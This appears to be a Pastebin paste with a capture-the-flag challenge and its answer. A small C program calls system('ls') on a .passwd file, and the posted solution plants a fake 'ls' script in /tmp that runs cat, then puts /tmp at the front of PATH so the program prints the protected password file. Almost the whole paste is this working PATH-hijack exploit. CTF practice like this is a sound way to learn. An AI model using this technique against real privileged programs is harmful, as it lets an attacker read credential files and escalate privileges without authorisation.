Guest User

xx

a guest
Jan 13th, 2018
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.31 KB | None | 0 0
  1. # Try to find your path padawan !
  2. #include <stdlib.h>
  3. #include <stdio.h>
  4.  
  5. /* gcc -m32 -o ch11 ch11.c */
  6.  
  7. int main(void)
  8. {
  9.     system("ls /challenge/app-script/ch11/.passwd");
  10.     return 0;
  11. }
  12.  
  13. # Solution
  14. echo '#!/bin/sh' > /tmp/ls; echo '/bin/cat $1' >> /tmp/ls; /bin/chmod +x /tmp/ls
  15. export PATH=/tmp:$PATH
Advertisement
Add Comment
Please, Sign In to add comment